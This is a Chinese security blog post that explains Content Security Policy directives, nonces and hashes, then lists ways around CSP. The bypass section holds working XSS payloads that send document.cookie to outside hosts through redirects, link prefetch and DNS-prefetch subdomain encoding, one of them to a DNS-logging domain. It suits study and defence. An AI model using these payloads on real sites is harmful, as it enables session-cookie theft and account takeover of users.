浅谈CSP内容安全策略

CSP

内容安全策略(Content Security Policy,CSP),是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成。

两种方法可以启用 CSP。一种是通过 HTTP 头信息的Content-Security-Policy的字段。

1
Content-Security-Policy: default-src 'self'; script-src 'self' www.test.com;

另一种是通过<meta>标签。

1
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self';">

CSP 提供了很多限制选项:

限制选项 说明
default-src 资源默认加载策略
script-src 外部脚本
connect-src HTTP连接,如 XHR、WebSockets、EventSource等
style-src 样式表 CSS
img-src 图片
media-src 媒体,如 audio、video
font-src 字体
frame-src 嵌入的外部资源,如 frame、iframe、embed、applet

每个限制选项可以设置以下几种值,这些值就构成了白名单:

说明
主机名 https://example.com:80 http://\*.test.com
协议名 https: data:
‘self’ 允许加载同域资源,需要加引号
‘none’ 禁止加载任何外部资源,需要加引号
* 通配符,允许除 data: blob: filesystem: 协议之外的任意 URL

除了常规值,script-src还可以设置一些特殊值:

说明
‘unsafe-inline’ 允许执行页面内嵌的 script 标签和事件监听函数
‘unsafe-eval’ 允许将字符串当作代码执行,如eval、setTimeout、setInterval和Function等函数
nonce 每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行
hash 列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行
dynamic 可信js生成的js代码是可信的

含有nonce值的CSP:

1
Content-Security-Policy: script-src 'nonce-d87adgi2'

页面内嵌脚本,必须有这个token才能执行。

1
<script nonce=d87adgi2> alert(1) </script>

含有hash值的CSP:

1
Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng='

下面的代码才会允许执行,因为sha256值相符(不包括标签)。

1
<script>alert('Hello, world.');</script>

值得注意的是,同源策略是可以发送请求只是浏览器拦截了,而CSP禁止加载的资源,是连请求都被拦截的,根本发不出去。

Bypass

跳转

无论有怎样的限制,跳转总是可以实现的。当然window和location是js脚本需要 script-src unsafe-inline

1
2
3
<meta http-equiv="refresh" content="1;http://xxx.com">
<script>window.location.href="http://xxx.com?a=" + document.cookie</script>
<script>window.open("http://xxx.com?a=" + document.cooke)</script>

link标签预加载

当CSP为 default-src 'self'; script-src 'self'; 时,由于CSP对link标签的预加载功能考虑不完善。在旧版本Chrome下,可以使用prefetch发送数据。

1
<link rel="prefetch" href="http://xxx.com">

这样没法将cookie带出,因此如果script-src unsafe-inline的条件下,可以动态生成标签带出cookie。

1
2
3
4
5
6
<script>
var li = document.createElement("link");
li.rel = "prefetch";
li.setAttribute("href", "//xxx.com/?" + document.cookie);
document.head.appendChild(li);
</script>

当然新版本的Chrome会拒绝预加载。

值得一提的是,dns-prefetch是最新版的FireFox和Chrome还可以使用的发送数据方法,这个方法是不受default-src: self CSP影响的。

dns-prefetch(DNS预解析) 允许浏览器在后台提前将资源的域名转换为 IP 地址,当用户访问该资源时就可以加快 DNS 解析。

1
<link rel="dns-prefetch" href="http://xxx.com">

同样在script-src unsafe-inline的条件下,可以动态生成标签带出cookie。

1
2
3
4
5
6
7
8
9
<script>
cok = document.cookie.split(";");
head = document.getElementsByTagName("HEAD")[0];
var str = "";
for (var i = 0; i < cok.length; i++) {
str += escape(cok[i].replace(/\//g, "-")).replace(/%/g, "_") + ".";
}
head.innerHTML = "<link rel='dns-prefetch' href='//" + str + "r.7b0qyg.ceye.io'>";
</script>

因为域名的命名规则是 [.-a-zA-Z0-9]+,所以需要对一些特殊字符进行替换。这样就可以在NS平台上收到DNS解析的记录了:

6

除此之外,rel还有preconnect、preload等。preload需要CSP中有default-src: connect-src *才行。

跨域请求

提交表单、点击链接等跨域行为是不受CSP限制的。还有一些跨域请求比如window.postMessage也是可以利用的。

0CTF2018预选赛中的h4xors.club2:

location.hash

如果js存在操作location.hash导致的xss,那么这样的攻击请求不会经过后台,那么nonce后的随机值就不会刷新。见lorexxar师傅的文章:

文件上传

如果有上传点可以控制,那么可以在其中夹杂js代码,然后引用该文件完成执行。

参考